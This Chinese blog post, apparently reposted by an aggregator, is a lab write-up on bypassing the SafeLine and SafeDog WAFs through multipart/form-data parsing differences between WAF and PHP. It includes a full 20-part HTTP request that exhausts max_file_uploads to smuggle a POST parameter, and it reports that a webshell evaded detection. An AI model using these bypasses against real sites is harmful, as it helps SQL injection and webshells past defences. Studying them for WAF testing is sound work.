网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

news2024/11/17 23:36:53

目录

一、环境

二、讲解

三、绕过前思路整理

3.1 思路

3.1.1 入门思路 0x00截断filename

3.1.2 双写上传描述行(差异绕过)【成功】

3.1.3双写整个 part 开头部分

3.1.4 构造假的 part 部分 1【成功】

3.1.5 构造假的 part 部分2【成功】

3.1.6 两个 boundary

3.1.7 两个 Content-Type

3.1.8 空格 boundary

3.1.9 boundary 中的逗号

3.2 思路

3.2.1 高级00截断【成功&失败】

3.2.2 boundary 进阶

3.2.3 两个 boundary 如何取值

3.2.4 单双引号混进阶

3.2.5 urlencoded 伪装成为 multipart

3.3 思路

3.3.1. skip_upload 进阶 1

3.4拔高

四、同行对比安全狗waf

4.1 环境

4.2操作

五、雷池webshell免杀检查


一、环境

雷池官网docker安装我的版本是

看官网介绍主要防御top10

二、讲解

我这里只描述通用型绕过,对于事件型不多描述,因为通用型的绕过是通杀的,差异化绕过

正常来说我们是因为没有一个很好的过滤所以造成第11关靶场的绕过

但是现在有了长亭的waf加入我们直接被拦截

 

 那我们拿不到数据,怎么处理,我们一步步替换函数,看这个waf杀的是什么函数,这都是我乱写的根本没什么威胁

这根本不是一个正常的函数,但是还是被杀了

 经过测试发现它其实杀的是and和我们的一个报错函数还有一个系统函数,现在出现系统函数都会报错

三、绕过前思路整理

我们来看看大佬分析的腾讯WAF绕过挑战赛的思路,正如大佬所说:对于一个 HTTP 请求,Nginx 解析了什么内容?交给后面的 PHP、ASP 又解析了什么内容?

multipart/form-data 。我们知道,HTTP 协议 POST 请求,除了常规的 application/x-wwwform-urlencoded 以外,还有 multipart/form-data 这种形式,主要是为了解决上传文件场景 下文件内容较大且内置字符不可控的问题。multipart/form-data 格式也是可以传递 POST 参 数的。对于 Nginx+PHP 的架构,Nginx 实际上是不负责解析 multipart/form-data 的 body 部 分的,而是交由 PHP 来解析,因此 WAF 所获取的内容就很有可能与后端的 PHP 发生不一 致。 

这句话也是我们绕过的核心

举个例子

以php为例,我们写一个简单的绕过脚本

 我们将报文转为multipart/form-data一个形式来进行一个上传值

此时,我们将其转为 multipart/form-data 格式:

可以看到,实际上和前一种 urlencoded 是达到了同一种效果,参数并没有进入$_FILES 数组,而是进入了$_POST 数组。那么,何时是上传文件?何时是 POST 参数呢?这个关键 点在于有没有一个完整的 filename=。这 9 个字符是经过反复测试的,缺一个字符不可,替 换一个字符也不可,在其中添加一个字符更不可。 加上了 filename=以后的效果:

 可以见得filename这几个字段少一个都不行

Bypass WAF 的核心思想在于,一些 WAF 产品处于降低误报考虑,对用户上传文件的内容不做匹配,直接放行。事实上,这些内容在绝大多数场景也无法引起攻击。但关键问题在于,WAF 能否准确有效识别出哪些内容是传给$_POST 数组的,哪些传给$_FILES 数组?如果不能,那我们是否就可以想办法让 WAF 以为我们是在上传文件,而实际上却是在 POST 一个参数,这个参数可以是命令注入、SQL 注入、SSRF 等任意的一种攻击,这样就实现了通用 WAF Bypass。

那核心思想就出来了让waf认为我们是上传文件,其实我们是POST一个数据

3.1 思路

3.1.1 入门思路 0x00截断filename

入门思路0X00截断(只限于php5.2版本遇见\0自动结束,因为php底层是c语言,c语言遇见\0就会结束)

简单来说市面上的南墙waf,宝塔云waf都是可以绕过的,我们测雷池waf先测一个字段,去11关改代码,passwd全删掉,我们只看username

我改了但是我还是正常查询数据

我们抓包后这个name用我们刚才的multipart/form-data格式提交上去看起来已经成功了,后端确实把它当做一个POST提交了

关键是WAF怎么认为,我们直接恶意代码上,简单的代码修改,没绕过

 注意在 filename 之前加入了 0x00,而有些 WAF 在检测前会删除 HTTP 协议中的 0x00, 这样就导致了 WAF 认为是含有 filename 的普通上传,而后端 PHP 则认为是 POST 参数。(有些waf可以)

3.1.2 双写上传描述行(差异绕过)【成功】

php获取第一个,waf获取第二个就可成功

爆出来的错误是select这个参数不统一

1,2出现是真的成功了吗

试试user()

只要骗过它一次,它后面就不会拦你

3.1.3双写整个 part 开头部分

没有绕过

找一下原因吧

原来是将我们后面所有数据当成一个post提交了,自然绕不过了

3.1.4 构造假的 part 部分 1【成功】

绕过,该方法与前一种类似

3.1.5 构造假的 part 部分2【成功】

当然还有很多绕过方案,我至少还掌握了三种,接下来下一篇看看雷池对于我们webshell的免杀

3.1.6 两个 boundary

迷惑waf让waf取b,php取a

很遗憾waf的取值和php取值一样,取的第一个未成功

跟上一个行为一样,waf跟php还是取的第一个

3.1.7 两个 Content-Type

长亭waf和php是一个行为还是取的第一个

3.1.8 空格 boundary

依然被杀掉

3.1.9 boundary 中的逗号

很遗憾waf也取的是a

3.2 思路

3.2.1 高级00截断【成功&失败】

前面,我们介绍了,如果是这样双写,其实是以第一行为主的,这样就是上传文件。但 如果我们在适当的地方加入 0x00、空格和 \t ,就会破坏第一行,让 PHP 反以第二行为主

第一次截断失败,取的是第一个直接数据都进不去了

第二次,破坏第一行waf还是取的第二行失败

第三次破坏第一行取第二行成功

虽然说截断长亭追的挺死,但是三个截断方法总有一个可以绕过,这三个位置是首选的。将其替换为 0x00 和 0x20 与之同理, 大家可自行测试

 还有一种可以绕过在uname处

3.2.2 boundary 进阶

boundary 的名称是可以前后加入任意内容的,WAF 如果严格按 boundary 去取,又要上当了。 第一个 Content-Type 和冒号部分填入了空格

第二种方法报错直接400,nginx错误,我尝试更换了很多版本,nginx1.15版本是可以的,大于1.15官方估计修改了Type这个漏洞

3.2.3 两个 boundary 如何取值

很明显虽然取的第一个但是长亭的waf还是没有绕过,和php取值是一致的

3.2.4 单双引号混进阶

我们需要考虑的问题是,Content-Disposition 中的字段使用单引号还是双引号?

我的本意是通过不规则的单双引号破坏掉文件上传的form取值

拦截

3.2.5 urlencoded 伪装成为 multipart

这个 poc 很特殊。实际上是 urlencoded,但是伪装成了 multipart,通过&来截取前后装 饰部分,保留 id 参数的完整性。理论上 multipart/form-data 下的内容不进行 urldecoded, 一些 WAF 也正是这样设计的,这样做本没有问题,但是如果是 urlencoded 格式的内容,不 进行 url 解码就会引入%0a 这样字符,而这样的字符不解码是可以直接绕过防护规则的,从 而导致了绕过

3.3 思路

3.3.1. skip_upload 进阶 1

在 PHP 中,实际上是有一个 skip_upload 来控制上传行是否为上传文件的。来看这样 一个例子

前面内容中我们介绍了,如果在第一行的 Content-Disposition 位置添加\0,是有可能引 起第一行失效,从而从上传文件变为 POST 参数的。除此以外,我们来看一下 php 源码 php5.3.3/main/rfc1867.c ,其中 line: 991 有这样一段内容:

if (!skip_upload) {
 char *tmp = param;
 long c = 0;
 while (*tmp) {
 if (*tmp == '[') {
 c++;
 } else if (*tmp == ']') {
 c--;
 if (tmp[1] && tmp[1] != '[') {
 skip_upload = 1;
 break;
 }
 }
 if (c < 0) {
 skip_upload = 1;
 break;
 }
 tmp++; }
}

其中的 param 参数是 name="f" 也就是 id 这个参数,那么请问,如何能让它 skip_upload 呢? 没错,一些理解代码含义的同学应该已经有答案了。通过想办法进入 c < 0,c 原本是 0,遇到[ 就自增 1,遇到]就减一。那么,我们构造 name="f]" 即可让 c=-1。

事实上,只要参数中有不成对匹配的左右中括号都可以引发 skip_upload。

我们直接开始测试,虽然很巧妙,但是waf不给机会

3.4拔高

 需要继续研究代码。在 php 源码 rfc1867.c line 909

/* If file_uploads=off, skip the file part */
if (!PG(file_uploads)) {
skip_upload = 1;
} else if (upload_cnt <= 0) {
skip_upload = 1;
sapi_module.sapi_error(E_WARNING, "Maximum number of allowable 
file uploads has been exceeded");
}

Maximum number of allowable file uploads has been exceeded ,如何达到 Maximum? 发现在 php 5.2.12 和以上的版本,有一个隐藏的文件上传限制是在 php.ini 里没有的,就是 这个 max_file_uploads 的设定,该默认值是 20, 在 php 5.2.17 的版本中该值已不再隐藏。文 件上传限制最大默认设为 20,所以一次上传最大就是 20 个文档,所以超出 20 个就会出错 了。 那么:

POST /8.php HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data;boundary=a;
Content-Length: 2065
--a
Content-Disposition: form-data; name="a";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="b";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="c";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="d";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="e";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="f";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="g";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="h";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="i";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="j";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="k";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="l";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="m";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="n";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="o";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="p";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="q";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="r";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="s";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="t";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="id";filename="1.png"
Content-Type: image/png
--a
Content-Disposition: form-data; name="id";
Content-Type: image/png
alert(1)
--a--
HTTP/1.1 200 OK
Server: nginx/1.19.5
Date: Thu, 03 Mar 2022 07:14:14 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.3.11
Content-Length: 4507
POST content:
POST:array(1) {
 ["id"]=>
 string(8) "alert(1)"
}
FILES:array(20) {
 ["a"]=>
 array(5) {
 ["name"]=>
 string(5) "1.png"
 ["type"]=>
 string(9) "image/png"
 ["tmp_name"]=>
 string(26) "/private/var/tmp/php1FFea0"
 ["error"]=>
 int(0)
 ["size"]=>
 int(1)
 }
 ["b"]=>
 array(5) {
 ["name"]=>
 string(5) "1.png"
 ["type"]=>
 string(9) "image/png"
 ["tmp_name"]=>
 string(26) "/private/var/tmp/phpGwwobf"
 ["error"]=>
 int(0)
 ["size"]=>
 int(1)
 }
 ["c"]=>
 array(5) {
 ["name"]=>
 string(5) "1.png"
 ["type"]=>
 string(9) "image/png"
 ["tmp_name"]=>
 string(26) "/private/var/tmp/phpmJOlzI"
 ["error"]=>
 int(0)
 ["size"]=>
 int(1)
 }
 ["d"]=>
 array(5) {
 ["name"]=>
 string(5) "1.png"
 ["type"]=>
 string(9) "image/png"
 ["tmp_name"]=>
 string(26) "/private/var/tmp/phpL9SbXe"
 ["error"]=>
 int(0)
 ["size"]=>
 int(1)
 }
 ["e"]=>
 array(5) {
 ["name"]=>
 string(5) "1.png"
 ["type"]=>
 string(9) "image/png"
 ["tmp_name"]=>
 string(26) "/private/var/tmp/php5TEkl4"
 ["error"]=>
 int(0)
 ["size"]=>
 int(1)
 }
 ["f"]=>
 array(5) {
 ["name"]=>
 string(5) "1.png"
 ["type"]=>
 string(9) "image/png"
 ["tmp_name"]=>
 string(26) "/private/var/tmp/phpeAzjtW"
 ["error"]=>
 int(0)
 ["size"]=>
 int(1)
 }
 ["g"]=>
 array(5) {
 ["name"]=>
 string(5) "1.png"
 ["type"]=>
 string(9) "image/png"
 ["tmp_name"]=>
 string(26) "/private/var/tmp/phpKQX29k"
 ["error"]=>
 int(0)
 ["size"]=>
 int(1)
 }
 ["h"]=>
 array(5) {
 ["name"]=>
 string(5) "1.png"
 ["type"]=>
 string(9) "image/png"
 ["tmp_name"]=>
 string(26) "/private/var/tmp/phpN259vi"
 ["error"]=>
 int(0)
 ["size"]=>
 int(1)
 }
 ["i"]=>
 array(5) {
 ["name"]=>
 string(5) "1.png"
 ["type"]=>
 string(9) "image/png"
 ["tmp_name"]=>
 string(26) "/private/var/tmp/phpKjE3L1"
 ["error"]=>
 int(0)
 ["size"]=>
 int(1)
 }
 ["j"]=>
 array(5) {
 ["name"]=>
 string(5) "1.png"
 ["type"]=>
 string(9) "image/png"
 ["tmp_name"]=>
 string(26) "/private/var/tmp/phpxK3Ja2"
 ["error"]=>
 int(0)
 ["size"]=>
 int(1)
 }
 ["k"]=>
 array(5) {
 ["name"]=>
 string(5) "1.png"
 ["type"]=>
 string(9) "image/png"
 ["tmp_name"]=>
 string(26) "/private/var/tmp/phpKfmKKS"
 ["error"]=>
 int(0)
 ["size"]=>
 int(1)
 }
 ["l"]=>
 array(5) {
 ["name"]=>
 string(5) "1.png"
 ["type"]=>
 string(9) "image/png"
 ["tmp_name"]=>
 string(26) "/private/var/tmp/phpGbWp4q"
 ["error"]=>
 int(0)
 ["size"]=>
 int(1)
 }
 ["m"]=>
 array(5) {
 ["name"]=>
 string(5) "1.png"
 ["type"]=>
 string(9) "image/png"
 ["tmp_name"]=>
 string(26) "/private/var/tmp/phpfb4WGA"
 ["error"]=>
 int(0)
 ["size"]=>
 int(1)
 }
 ["n"]=>
 array(5) {
 ["name"]=>
 string(5) "1.png"
 ["type"]=>
 string(9) "image/png"
 ["tmp_name"]=>
 string(26) "/private/var/tmp/phpiW4wAU"
 ["error"]=>
 int(0)
 ["size"]=>
 int(1)
 }
 ["o"]=>
 array(5) {
 ["name"]=>
 string(5) "1.png"
 ["type"]=>
 string(9) "image/png"
 ["tmp_name"]=>
 string(26) "/private/var/tmp/phpHuAUlt"
 ["error"]=>
 int(0)
 ["size"]=>
 int(1)
 }
 ["p"]=>
 array(5) {
 ["name"]=>
 string(5) "1.png"
 ["type"]=>
 string(9) "image/png"
 ["tmp_name"]=>
 string(26) "/private/var/tmp/phpg9JuPK"
 ["error"]=>
 int(0)
 ["size"]=>
 int(1)
 }
 ["q"]=>
 array(5) {
 ["name"]=>
 string(5) "1.png"
 ["type"]=>
 string(9) "image/png"
 ["tmp_name"]=>
 string(26) "/private/var/tmp/phpOm7Vx9"
 ["error"]=>
 int(0)
 ["size"]=>
 int(1)
 }
 ["r"]=>
 array(5) {
 ["name"]=>
 string(5) "1.png"
 ["type"]=>
 string(9) "image/png"
 ["tmp_name"]=>
 string(26) "/private/var/tmp/phpg1iKx9"
 ["error"]=>
 int(0)
 ["size"]=>
 int(1)
 }
 ["s"]=>
 array(5) {
 ["name"]=>
 string(5) "1.png"
 ["type"]=>
 string(9) "image/png"
 ["tmp_name"]=>
 string(26) "/private/var/tmp/phpKnTJgz"
 ["error"]=>
 int(0)
 ["size"]=>
 int(1)
 }
 ["t"]=>
 array(5) {
 ["name"]=>
 string(5) "1.png"
 ["type"]=>
 string(9) "image/png"
 ["tmp_name"]=>
 string(26) "/private/var/tmp/phpJaXwzl"
 ["error"]=>
 int(0)
 ["size"]=>
 int(1)
 }
}

 如果删除前面的 a-t 共计 20 个构造的 part,实际的效果并不能引起 POST 攻击。如下图所示:

但是,如果拼接了这 20 个 part,实际上就填满了 Maximum,导致最后一个 upload 无法生效,就只能从 FILES 转化为 POST 了 

但是很遗憾没有绕过

四、同行对比安全狗waf

4.1 环境

安全狗官网下载即可apache版本

4.2操作

继绕过长亭waf我们来看看安全狗的webshell绕过,还是一样的样本,换汤不换药去测试一下

00截断是有返回的没有报错

直接绕过

相比于长亭的waf,安全狗的防御力更弱,基础版00可以直接绕过

五、雷池webshell免杀检查

很常见的webshell回调后门吧

没杀,但是安全狗和河马一定会杀掉

我们再过分一点

 今天的技术分析就到这里了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2162509.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

网络战时代的端点安全演变

​ 在恶意网络行为者与对手在世界各地展开网络战争的日常战争中&#xff0c;端点安全&#xff08;中世纪诗人可能会称其为“守卫大门的警惕哨兵”&#xff09;当然是我们的互联数字世界的大门。 端点安全类似于我们今天称之为现代企业的数字有机体的免疫系统&#xff0c;可以将…

考研数据结构——C语言实现小顶堆

数组初始化&#xff1a; 首先&#xff0c;我们有一个整数数组arr&#xff0c;里面包含了一系列需要排序的数字。数组的长度n是通过对数组arr的总字节大小除以单个元素的字节大小得到的。 小顶堆调整函数&#xff1a; adjustHeapMin函数的作用是将数组中的元素从某个节点向下调整…

服务启动慢分析小记

文章目录 1. 写在最前面2. 分析过程2.1 初步分析 2.2 深入分析2.2.1 是否为 master 卡住2.2.2 分析 sidecar 侧2.2.2.1 gdb 调试2.2.2.2 dlv 调试 3. 碎碎念4. 参考资料&#xff1a; 1. 写在最前面 不出意外&#xff0c;就是要出意外。还是忙忙碌碌木有学习 AI 知识的一个月&a…

linux配置git

一、生成新的 SSH 密钥 ssh-keygen -t rsa -b 4096 -C "your_emailexample.com" 按照提示操作&#xff1a; 当提示 Enter file in which to save the key (/root/.ssh/id_rsa): 时&#xff0c;直接按回车键使用默认路径。 当提示 Enter passphrase (empty for no p…

CSS样式的4种引入方法

1.行内样式 1.只能影响标签内的样式 2.行内样式可以应用在<body>标记内的所有子标记包括<body>标记在内&#xff0c;但是不能用在<head><title><meta>中 3&#xff0c;行内样式的标记优先级最高 语法&#xff1a;直接再标记内写style属性 &…

PCL 用八叉树方法压缩点云

目录 一、概述 1.1原理 1.2实现步骤 1.3应用场景 二、代码实现 2.1关键函数 2.1.1点云压缩 2.1.2点云解压缩 2.2完整代码 三、实现效果 3.1原始点云 3.2数据显示 PCL点云算法汇总及实战案例汇总的目录地址链接&#xff1a; PCL点云算法与项目实战案例汇总&#xf…

基于深度学习的数字识别系统的设计与实现(python、yolov、PyQt5)

&#x1f497;博主介绍&#x1f497;&#xff1a;✌在职Java研发工程师、专注于程序设计、源码分享、技术交流、专注于Java技术领域和毕业设计✌ 温馨提示&#xff1a;文末有 CSDN 平台官方提供的老师 Wechat / QQ 名片 :) Java精品实战案例《700套》 2025最新毕业设计选题推荐…

VisualStudio如何卸载Resharper插件?

本来按理说&#xff0c;卸载插件应该就是在扩展下的已安装插件中&#xff0c;找到该插件&#xff0c;点一下就会出现卸载的按钮的。 没想到这个Resharper这么吊&#xff0c;卸载按钮居然是个灰色的&#xff0c;意思就是此路不通&#xff0c;有特权的。 那么这种情况下&#x…

DC-DC动态响应度的优化

DC-DC动态响应度的优化 以MP2315模块为例到底怎么样才能改变动态响应度呢&#xff1f;修改前馈电容修改电感也可以改善动态响应度 以MP2315模块为例 DC-DC输出位置再增加电容 从下面的波形图看出&#xff0c;多了一颗输出电容之后的结果&#xff0c;似乎有那么一点点作用但是…

【JS】严格模式/非严格模式的区别

JS的严格模式和非严格模式 js运行有两种模式&#xff1a;一种是普通模式&#xff1b;一种是严格模式。 严格模式是ES5添加的&#xff0c;是比普通模式多一部分的js规则。如果在ES5之前js解析引擎&#xff0c;会忽略严格模式。 js一般默认是普通模式&#xff0c;ES6的模块和Cla…

【优选算法之位运算】No.7--- 经典位运算算法

文章目录 前言一、位运算几种模型&#xff1a;1.1 基础的位运算&#xff1a; << >> ~ & | ^1.2 几种模型&#xff1a;1.3 模型练习 二、位运算示例&#xff1a;2.1 判定字符是否唯⼀2.2 丢失的数字2.3 两整数之和2.4 只出现⼀次的数字 II2.5 消失的两个数字 前…

frp内网穿透服务器+客户端详细配置

当我们拥有一台云服务器时&#xff0c;可以将局域网服务器的服务通过内网穿透发布到公网上。frp是一个主流的内网穿透软件&#xff0c;本文讲解frp内网穿透服务器客户端详细配置。 一、需要准备的内容&#xff1a; 腾讯云服务器&#xff1a;https://curl.qcloud.com/Sjy0zKjy 2…

【图文详解】什么是微服务?什么是SpringCloud?

目录 一.认识微服务架构 ▐ 微服务带来的挑战 二.微服务解决方案SpringCloud ▐ SpringCloud的版本 ▐ SpringCloud和SpringBoot的关系 ▐ SpringCloud实现方案 Spring Cloud Netfix Spring Cloud Alibaba ▐ Spring Cloud 实现对比 在入门Spring Cloud 之前&#xff…

太速科技-383-基于kintex UltraScale XCKU060的双路QSFP+光纤PCIe 卡

基于kintex UltraScale XCKU060的双路QSFP光纤PCIe 卡 一、板卡概述 本板卡系我司自主研发&#xff0c;基于Xilinx UltraScale Kintex系列FPGA XCKU060-FFVA1156-2-I架构&#xff0c;支持PCIE Gen3 x8模式的高速信号处理板卡&#xff0c;搭配两路40G QSFP接口&#xff…

DataX3.0:深入探索与实战应用

DataX3.0是阿里云DataWorks数据集成的开源版本&#xff0c;它继承了DataX1.0的优良基因&#xff0c;并在此基础上进行了全面的升级和扩展。新版本的DataX3.0不仅支持更多的数据源和目标端&#xff0c;还提供了更高效的数据同步能力&#xff0c;能够满足企业在数据迁移、数据同步…

虚拟硬盘数据恢复(vmdk、vdi、vhd等虚拟磁盘文件)

我们用的虚拟机有时候用着用着就启动不起来了&#xff0c;可能是操作系统启动扇区出了问题或者硬盘数据损坏。如果还有重要的数据文件在虚拟机里面&#xff0c;不要慌&#xff0c;一般只是操作系统的问题&#xff0c;硬盘里面的文件一般是不会丢失损坏的&#xff0c;即使磁盘有…

【论文阅读】RISE: 3D Perception Makes Real-World Robot Imitation Simple and Effective

Abstract 在模仿学习中&#xff0c;精确的机器人操作需要丰富的空间信息。基于图像的policies模型对象位置来自固定摄像头&#xff0c;对摄像头视图变化很敏感。利用3d点云的策略通常预测关键帧而不是连续动作&#xff0c;这在动态和联系人丰富的场景中造成了困难。为了有效地…

C++核心编程和桌面应用开发 第六天(this指针 友元)

目录 1.this指针 1.1C中空类的大小 1.2类中成员的存储方式 1.3this指针 1.3.1常函数 1.3.2常对象 2.友元 2.1全局函数做友元 2.2类做友元 2.3成员函数做友元 1.this指针 1.1C中空类的大小 1.2 类中成员的存储方式 1.3this指针 this指针指向被调用的成员函数所属的对…

Python电能质量扰动信号分类(一)基于LSTM模型的一维信号分类

引言 本文基于Python仿真的电能质量扰动信号&#xff0c;先经过数据预处理进行数据集的制作和加载&#xff0c;然后通过Pytorch实现LSTM模型对扰动信号的分类。Python仿真电能质量扰动信号的详细介绍可以参考下文&#xff08;文末附10分类数据集&#xff09;&#xff1a; Pyth…

详解机器学习经典模型(原理及应用)——支持向量机

一、什么是支持向量机 支持向量机&#xff08;Support Vector Machine, SVM&#xff09;是一种强大的机器学习算法&#xff0c;可用于解决数据分类&#xff08;二分类&#xff09;和回归问题。在分类问题上&#xff0c;SVM的核心思想是在特征空间中找到一个最优的超平面&#x…